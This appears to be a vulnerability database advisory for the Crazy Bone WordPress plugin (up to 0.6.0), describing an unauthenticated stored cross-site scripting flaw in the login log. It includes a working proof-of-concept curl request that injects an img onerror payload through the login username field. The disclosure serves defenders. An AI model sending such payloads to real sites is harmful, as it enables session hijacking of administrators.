WordPress Plugin Vulnerabilities
Crazy Bone <= 0.6.0 - Unauthenticated Stored XSS
Description
The plugin does not sanitise and escape the username submitted via the login from when displaying them back in the log dashboard, leading to an unauthenticated Stored Cross-Site scripting
Proof of Concept
curl 'https://example.com/wp-login.php' --data-raw 'log=a<img src onerror=alert(/XSS/)>&pwd=x&wp-submit=Log+In' The XSS will be trigged in the 'All User' section of the Login Log: https://example.com/wp-admin/users.php?page=crazy-bone%2Fplugin.php&user_id=-1&status
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-01-31 (about 7 months ago)
Added
2022-01-31 (about 7 months ago)
Last Updated
2022-04-12 (about 5 months ago)